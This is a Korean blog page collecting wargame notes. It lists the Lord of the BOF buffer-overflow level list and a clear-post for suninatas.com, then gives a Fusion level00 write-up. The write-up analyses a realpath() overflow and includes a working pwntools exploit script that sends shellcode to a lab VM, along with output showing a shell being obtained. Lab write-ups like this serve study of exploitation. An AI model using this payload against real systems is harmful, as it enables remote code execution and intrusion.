[BOF-BufferOverflow- 원정대란?] 비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다. [접속 방법] BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다. 따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다. [다운로드] 1. 다음 Vmware 이미지를 다운받아 부팅한다. http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip 2. gate/gate로 로그인한다. 3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨습니다) 4. ip를 확인한다. (/sbin/ifconfig) 5. putty, xshell등으로 터미널 접속하여 문제 풀이를 시작한다. (telnet) [기본 룰] 1. single boot 금지 2. root exploit 금지 3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지 [레벨업 패스워드 확인] /bin/my-pass [전용 게시판] http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship [몹 리스트] LEVEL1 (gate -> gremlin) : simple bof LEVEL2 (gremlin -> cobolt) : small buffer # hello bof world LEVEL3 (cobolt -> goblin) : small buffer + stdin LEVEL4 (goblin -> orc) : egghunter LEVEL5 (orc -> wolfman) : egghunter + bufferhunter LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter LEVEL7 (darkelf -> orge) : check argv[0] LEVEL8 (orge -> troll) : check argc LEVEL9 (troll -> vampire) : check 0xbfff LEVEL10 (vampire -> skeleton) : argv hunter LEVEL11 (skeleton -> golem) : stack destroyer LEVEL12 (golem -> darkknight) : sfp LEVEL13 (darkknight -> bugbear) : RTL1 LEVEL14 (bugbear -> giant) : RTL2, only execve LEVEL15 (giant -> assassin) : no stack, no RTL LEVEL16 (assassin -> zombie_assassin) : fake ebp LEVEL17 (zombie_assassin -> succubus) : function calls LEVEL18 (succubus -> nightmare) : plt LEVEL19 (nightmare -> xavis) : fgets + destroyers LEVEL20 (xavis -> death_knight) : remote BOF |
level1 - simple bof
그냥 buf 크기만큼 a 채우고 sfp 4 바이트 채우고 ret 에 egg shell 주소 넣으면 끝
level2 - small bof
LEVEL3 (cobolt -> goblin) : small buffer + stdin
LEVEL4 (goblin -> orc) : egghunter
LEVEL5 (orc -> wolfman) : egghunter + bufferhunter]
LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
LEVEL7 (darkelf -> orge) : check argv[0]
LEVEL8 (orge -> troll) : check argc
LEVEL9 (troll -> vampire) : check 0xbfff
LEVEL10 (vampire -> skeleton) : argv hunter
LEVEL11 (skeleton -> golem) : stack destroyer
LEVEL12 (golem -> darkknight) : sfp
LEVEL13 (darkknight -> bugbear) : RTL1
LEVEL14 (bugbear -> giant) : RTL2, only execve
LEVEL15 (giant -> assassin) : no stack, no RTL
www.suninatas.com 올클리어~
www.suninatas.com 올클리어~! 짬짬이 시간내서 2주정도 푼것 같네요. 전반적으론 쉬운 문제들도 조금 있는 편이
지만 몇몇 문제는 여러번 꼬아져 있어서 좀 헤맸습니다. 간만에 워게임 풀이 하면서 재미있었습니다.
운영자분들 감사합니다. ^^;
다음은 reversing.kr !
wargame - fusion / level00
Fusion
fusion 은 system wargame 중 하나이며 여러가지 우회 기법을 배울 수 있는 다양한 문제들을 제공한다.
연습을 위해 pwntools 및 angr 을 사용해서 풀어보기로 한다.
level 00
fusion@fusion:/opt/fusion/bin$ uname -a Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux |
fork() 를 수행하므로 ASLR 은 무시해도 된다.
소스코드를 분석해 보자. 문제가 되는 부분은 아래 fix_path 함수이다.
3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); 9}
일반적으로 strcpy() 함수를 보고 취약하겠구나 라고 생각하겠지만, realpath() 함수 결과에 따라 NULL 이면 return
을 해버리고 있으므로 strcpy 는 실행조차 되지 않는다. 하지만 다행히도 realpath 함수 역시 bof 취약성이 존재한다.
해당 함수 내부에서 memcpy 를 호출하기 때문이다. 첫번째 인자값의 문자열을 두번째 인자값에 복사해 준다.
(원래 realpath 함수의 기능은 ../../ 등의 경로를 resolve 후 절대경로로 변환하여 저장 )
풀이
0 레벨이기 때문에 그냥 단순 bof 수준이다. Path 위치에 139 개가 들어가면 버퍼를 모두 덮어쓰고, RET 를 조작할 수 있다.
- 버퍼주소 : 출력된 버퍼 주소 사용
- 쉘코드 : asm(shellcraft.dupsh(4)) // 쉘을 실행시키고 dup 로 소켓에 fd 복제
# ex_level00.py
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"
buffer_addr = p32(0xbff49498+160)
r = remote("192.168.231.128",20000)
print r.recv(1000)
e = ELF('./level00')
shellcode = asm(shellcraft.dupsh(4))
ret = buffer_addr
nop = "\x90"*60
#payload = "GET " + "A"*139 + "B"*4 +" HTTP/1.1 " + shellcode
payload = "GET " + "A"*139 + ret +" HTTP/1.1 " + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()
hyunmini:fusion $ python ex_level00.py
[*] fusion level00 exploit by hyunmini
[+] Opening connection to 192.168.231.128 on port 20000: Done
[debug] buffer is at 0xbff49498 :-)
[*] '/Users/hyunmini/Desktop/wargame/fusion/level00'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Success!! got shell
[*] Switching to interactive mode
$
$ id
uid=20000 gid=20000 groups=20000
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level02 (0) | 2016.12.29 |
wargame - fusion / level01 (0) | 2016.12.28 |